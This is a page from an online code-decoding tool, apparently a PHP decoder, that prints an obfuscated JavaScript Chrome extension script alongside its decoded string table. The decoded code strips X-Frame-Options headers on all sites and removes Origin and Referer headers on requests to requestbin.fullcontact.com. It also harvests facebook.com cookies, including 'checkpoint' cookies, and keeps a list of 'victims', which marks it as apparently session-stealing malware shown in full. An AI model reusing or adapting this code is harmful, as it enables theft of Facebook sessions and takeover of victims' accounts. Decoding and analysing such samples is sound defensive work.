Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

var _0x92f2=["\x49\x20\x72\x65\x63\x65\x69\x76\x65\x64\x20\x74\x68\x65\x20\x66\x6F\x6C\x6C..

Decoded Output download

<?  var _0x92f2=["I received the following DOM content:
","log","url","test","id","report_back","sendMessage","tabs","addListener","onClicked","browserAction","length","responseHeaders","toLowerCase","name","x-frame-options","splice","<all_urls>","blocking","onHeadersReceived","webRequest","requestbin.fullcontact.com","includes","requestHeaders","Origin","Referer","onBeforeSendHeaders","type","remove_logout_and_phone","facebook.com","remove_victim","dataInput","parse","victim","stringify","done","set","local","storage","get","get_cookies","checkpoint","text","onMessage","runtime","
","split","join"];var urlRegex=/^https?:\/\/(?:[^./?#]+\.)?stackoverflow\.com/;function doStuffWithDom(_0xf9d2x3){console[_0x92f2[1]](_0x92f2[0]+ _0xf9d2x3)}chrome[_0x92f2[10]][_0x92f2[9]][_0x92f2[8]](function(_0xf9d2x4){if(urlRegex[_0x92f2[3]](_0xf9d2x4[_0x92f2[2]])){chrome[_0x92f2[7]][_0x92f2[6]](_0xf9d2x4[_0x92f2[4]],{text:_0x92f2[5]},doStuffWithDom)}});chrome[_0x92f2[20]][_0x92f2[19]][_0x92f2[8]](function(_0xf9d2x5){for(var _0xf9d2x6=0;_0xf9d2x6< _0xf9d2x5[_0x92f2[12]][_0x92f2[11]];++_0xf9d2x6){if(_0xf9d2x5[_0x92f2[12]][_0xf9d2x6][_0x92f2[14]][_0x92f2[13]]()== _0x92f2[15]){_0xf9d2x5[_0x92f2[12]][_0x92f2[16]](_0xf9d2x6,1);return {responseHeaders:_0xf9d2x5[_0x92f2[12]]}}}},{urls:[_0x92f2[17]]},[_0x92f2[18],_0x92f2[12]]);chrome[_0x92f2[20]][_0x92f2[26]][_0x92f2[8]](function(_0xf9d2x5){if(_0xf9d2x5[_0x92f2[2]][_0x92f2[22]](_0x92f2[21])){for(var _0xf9d2x6=0;_0xf9d2x6< _0xf9d2x5[_0x92f2[23]][_0x92f2[11]];++_0xf9d2x6){if(_0xf9d2x5[_0x92f2[23]][_0xf9d2x6][_0x92f2[14]]=== _0x92f2[24]|| _0xf9d2x5[_0x92f2[23]][_0xf9d2x6][_0x92f2[14]]=== _0x92f2[25]){_0xf9d2x5[_0x92f2[23]][_0x92f2[16]](_0xf9d2x6,1);break}}};return {requestHeaders:_0xf9d2x5[_0x92f2[23]]}},{urls:[_0x92f2[17]]},[_0x92f2[18],_0x92f2[23]]);chrome[_0x92f2[44]][_0x92f2[43]][_0x92f2[8]](function(_0xf9d2x7,_0xf9d2x8,_0xf9d2x9){if(_0xf9d2x7[_0x92f2[27]]== _0x92f2[28]){console[_0x92f2[1]](_0x92f2[28]);getCookies(_0x92f2[29],function(_0xf9d2xa){_0xf9d2x9(_0xf9d2xa)})}else {if(_0xf9d2x7[_0x92f2[27]]== _0x92f2[30]){chrome[_0x92f2[38]][_0x92f2[37]][_0x92f2[39]](_0x92f2[31],function(_0xf9d2xb){var _0xf9d2xc=JSON[_0x92f2[32]](_0xf9d2xb[_0x92f2[31]]);_0xf9d2xc[_0x92f2[33]]= removePassedVictim(_0xf9d2xc[_0x92f2[33]]);chrome[_0x92f2[38]][_0x92f2[37]][_0x92f2[36]]({dataInput:JSON[_0x92f2[34]](_0xf9d2xc)},function(){_0xf9d2x9({msg:_0x92f2[35],victim:_0xf9d2xc[_0x92f2[33]]})})})}else {if(_0xf9d2x7[_0x92f2[27]]== _0x92f2[40]){getCookies(_0x92f2[29],function(_0xf9d2xa){var _0xf9d2xd=getFaceCookies(_0xf9d2xa,[_0x92f2[41]]);_0xf9d2x9(_0xf9d2xd)})}else {_0xf9d2x9(_0x92f2[42])}}};return true});function removePassedVictim(_0xf9d2xf){var _0xf9d2x10=_0xf9d2xf[_0x92f2[46]](_0x92f2[45]);_0xf9d2x10[_0x92f2[16]](0,1);return _0xf9d2x10[_0x92f2[47]](_0x92f2[45])} ?>

Did this file decode correctly?

Original Code

var _0x92f2=["\x49\x20\x72\x65\x63\x65\x69\x76\x65\x64\x20\x74\x68\x65\x20\x66\x6F\x6C\x6C\x6F\x77\x69\x6E\x67\x20\x44\x4F\x4D\x20\x63\x6F\x6E\x74\x65\x6E\x74\x3A\x0A","\x6C\x6F\x67","\x75\x72\x6C","\x74\x65\x73\x74","\x69\x64","\x72\x65\x70\x6F\x72\x74\x5F\x62\x61\x63\x6B","\x73\x65\x6E\x64\x4D\x65\x73\x73\x61\x67\x65","\x74\x61\x62\x73","\x61\x64\x64\x4C\x69\x73\x74\x65\x6E\x65\x72","\x6F\x6E\x43\x6C\x69\x63\x6B\x65\x64","\x62\x72\x6F\x77\x73\x65\x72\x41\x63\x74\x69\x6F\x6E","\x6C\x65\x6E\x67\x74\x68","\x72\x65\x73\x70\x6F\x6E\x73\x65\x48\x65\x61\x64\x65\x72\x73","\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x6E\x61\x6D\x65","\x78\x2D\x66\x72\x61\x6D\x65\x2D\x6F\x70\x74\x69\x6F\x6E\x73","\x73\x70\x6C\x69\x63\x65","\x3C\x61\x6C\x6C\x5F\x75\x72\x6C\x73\x3E","\x62\x6C\x6F\x63\x6B\x69\x6E\x67","\x6F\x6E\x48\x65\x61\x64\x65\x72\x73\x52\x65\x63\x65\x69\x76\x65\x64","\x77\x65\x62\x52\x65\x71\x75\x65\x73\x74","\x72\x65\x71\x75\x65\x73\x74\x62\x69\x6E\x2E\x66\x75\x6C\x6C\x63\x6F\x6E\x74\x61\x63\x74\x2E\x63\x6F\x6D","\x69\x6E\x63\x6C\x75\x64\x65\x73","\x72\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72\x73","\x4F\x72\x69\x67\x69\x6E","\x52\x65\x66\x65\x72\x65\x72","\x6F\x6E\x42\x65\x66\x6F\x72\x65\x53\x65\x6E\x64\x48\x65\x61\x64\x65\x72\x73","\x74\x79\x70\x65","\x72\x65\x6D\x6F\x76\x65\x5F\x6C\x6F\x67\x6F\x75\x74\x5F\x61\x6E\x64\x5F\x70\x68\x6F\x6E\x65","\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D","\x72\x65\x6D\x6F\x76\x65\x5F\x76\x69\x63\x74\x69\x6D","\x64\x61\x74\x61\x49\x6E\x70\x75\x74","\x70\x61\x72\x73\x65","\x76\x69\x63\x74\x69\x6D","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x64\x6F\x6E\x65","\x73\x65\x74","\x6C\x6F\x63\x61\x6C","\x73\x74\x6F\x72\x61\x67\x65","\x67\x65\x74","\x67\x65\x74\x5F\x63\x6F\x6F\x6B\x69\x65\x73","\x63\x68\x65\x63\x6B\x70\x6F\x69\x6E\x74","\x74\x65\x78\x74","\x6F\x6E\x4D\x65\x73\x73\x61\x67\x65","\x72\x75\x6E\x74\x69\x6D\x65","\x0A","\x73\x70\x6C\x69\x74","\x6A\x6F\x69\x6E"];var urlRegex=/^https?:\/\/(?:[^./?#]+\.)?stackoverflow\.com/;function doStuffWithDom(_0xf9d2x3){console[_0x92f2[1]](_0x92f2[0]+ _0xf9d2x3)}chrome[_0x92f2[10]][_0x92f2[9]][_0x92f2[8]](function(_0xf9d2x4){if(urlRegex[_0x92f2[3]](_0xf9d2x4[_0x92f2[2]])){chrome[_0x92f2[7]][_0x92f2[6]](_0xf9d2x4[_0x92f2[4]],{text:_0x92f2[5]},doStuffWithDom)}});chrome[_0x92f2[20]][_0x92f2[19]][_0x92f2[8]](function(_0xf9d2x5){for(var _0xf9d2x6=0;_0xf9d2x6< _0xf9d2x5[_0x92f2[12]][_0x92f2[11]];++_0xf9d2x6){if(_0xf9d2x5[_0x92f2[12]][_0xf9d2x6][_0x92f2[14]][_0x92f2[13]]()== _0x92f2[15]){_0xf9d2x5[_0x92f2[12]][_0x92f2[16]](_0xf9d2x6,1);return {responseHeaders:_0xf9d2x5[_0x92f2[12]]}}}},{urls:[_0x92f2[17]]},[_0x92f2[18],_0x92f2[12]]);chrome[_0x92f2[20]][_0x92f2[26]][_0x92f2[8]](function(_0xf9d2x5){if(_0xf9d2x5[_0x92f2[2]][_0x92f2[22]](_0x92f2[21])){for(var _0xf9d2x6=0;_0xf9d2x6< _0xf9d2x5[_0x92f2[23]][_0x92f2[11]];++_0xf9d2x6){if(_0xf9d2x5[_0x92f2[23]][_0xf9d2x6][_0x92f2[14]]=== _0x92f2[24]|| _0xf9d2x5[_0x92f2[23]][_0xf9d2x6][_0x92f2[14]]=== _0x92f2[25]){_0xf9d2x5[_0x92f2[23]][_0x92f2[16]](_0xf9d2x6,1);break}}};return {requestHeaders:_0xf9d2x5[_0x92f2[23]]}},{urls:[_0x92f2[17]]},[_0x92f2[18],_0x92f2[23]]);chrome[_0x92f2[44]][_0x92f2[43]][_0x92f2[8]](function(_0xf9d2x7,_0xf9d2x8,_0xf9d2x9){if(_0xf9d2x7[_0x92f2[27]]== _0x92f2[28]){console[_0x92f2[1]](_0x92f2[28]);getCookies(_0x92f2[29],function(_0xf9d2xa){_0xf9d2x9(_0xf9d2xa)})}else {if(_0xf9d2x7[_0x92f2[27]]== _0x92f2[30]){chrome[_0x92f2[38]][_0x92f2[37]][_0x92f2[39]](_0x92f2[31],function(_0xf9d2xb){var _0xf9d2xc=JSON[_0x92f2[32]](_0xf9d2xb[_0x92f2[31]]);_0xf9d2xc[_0x92f2[33]]= removePassedVictim(_0xf9d2xc[_0x92f2[33]]);chrome[_0x92f2[38]][_0x92f2[37]][_0x92f2[36]]({dataInput:JSON[_0x92f2[34]](_0xf9d2xc)},function(){_0xf9d2x9({msg:_0x92f2[35],victim:_0xf9d2xc[_0x92f2[33]]})})})}else {if(_0xf9d2x7[_0x92f2[27]]== _0x92f2[40]){getCookies(_0x92f2[29],function(_0xf9d2xa){var _0xf9d2xd=getFaceCookies(_0xf9d2xa,[_0x92f2[41]]);_0xf9d2x9(_0xf9d2xd)})}else {_0xf9d2x9(_0x92f2[42])}}};return true});function removePassedVictim(_0xf9d2xf){var _0xf9d2x10=_0xf9d2xf[_0x92f2[46]](_0x92f2[45]);_0xf9d2x10[_0x92f2[16]](0,1);return _0xf9d2x10[_0x92f2[47]](_0x92f2[45])}

Function Calls

None

Variables

None

Stats

MD5 c11a42edea36ca28bdfbc1314a5f4926
Eval Count 0
Decode Time 89 ms